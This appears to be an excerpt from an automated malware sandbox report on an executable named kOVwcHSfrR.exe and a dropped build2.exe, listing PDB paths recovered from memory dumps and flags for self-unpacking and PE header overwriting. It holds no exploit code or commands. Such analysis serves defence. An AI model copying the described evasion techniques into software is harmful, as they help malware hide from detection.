Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1801273420.0000000009A77000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800233983.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773826653.0000000009A70000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799658382.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800286157.0000000009A76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*^ source: kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837453979.0000000009DC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832767909.0000000009DE1000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errort.cdqwxte\ source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: kOVwcHSfrR.exe, 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ory\ source: kOVwcHSfrR.exe, 0000000C.00000003.1860849466.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1860513716.0000000009A7F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorM\l source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k\Local Settings\Temp\Symbols\winload_prod.pdb\es\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\9 source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\90\* source: kOVwcHSfrR.exe, 0000000C.00000003.1799096449.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798341336.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800107482.00000000099ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\' source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\user\Lo source: kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799944229.0000000009AEC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800598804.0000000009AEF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773826653.0000000009A70000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799658382.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\g source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1725868784.0000000009A06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1725868784.0000000009A06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009CC5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773281791.0000000009CCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\3RE source: kOVwcHSfrR.exe, 0000000C.00000003.1832122953.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1841503706.0000000009A43000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842880249.0000000009A5C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832416314.0000000009A64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\at\ source: kOVwcHSfrR.exe, 0000000C.00000003.1665394521.0000000009966000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665128050.0000000009960000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ ) source: kOVwcHSfrR.exe, 0000000C.00000003.1864162198.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863376655.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861028335.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862919369.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837631251.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866167771.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800132832.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: a\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ge\ext\ source: kOVwcHSfrR.exe, 0000000C.00000002.1866974821.000000000996E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009CC5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773281791.0000000009CCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\} source: kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009DD0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837453979.0000000009DC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\^ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832767909.0000000009E27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\&B source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\nufilebe giximebemutido\zeroh\yuluz\tavoy_socalefino.pdb source: build2.exe, 00000012.00000000.1460598726.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000012.00000002.1682755279.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000015.00000000.1677228255.0000000000420000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\T source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\n\p source: kOVwcHSfrR.exe, 0000000C.00000003.1859515133.0000000009D25000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859347025.0000000009D14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1824869433.0000000003036000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009DBA000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825687066.0000000003042000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837453979.0000000009DC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: kOVwcHSfrR.exe, 0000000C.00000003.1773201269.0000000003026000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833584423.0000000003027000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1860918713.0000000003032000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825397614.0000000003027000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723994941.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721747947.000000000301C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770345097.0000000003018000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1507820485.0000000003029000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1845303269.000000000302B000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843340541.0000000003020000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664844689.0000000003018000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759400625.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1801557971.0000000003029000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1507795365.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723889248.000000000301D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800382616.0000000003026000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799278166.0000000003020000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759353204.000000000301C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866496448.0000000003032000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\N source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773826653.0000000009A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\Fmx source: kOVwcHSfrR.exe, 0000000C.00000003.1832122953.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1841503706.0000000009A43000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842880249.0000000009A5C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832416314.0000000009A64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\R source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\y\ source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Unpacked PE file: 7.2.kOVwcHSfrR.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Unpacked PE file: 12.2.kOVwcHSfrR.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 13.2.kOVwcHSfrR.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 17.2.kOVwcHSfrR.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 20.2.kOVwcHSfrR.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Unpacked PE file: 21.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Unpacked PE file: 7.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Unpacked PE file: 12.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 13.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 17.2.kOVwcHSfrR.exe.400000.0.unpack
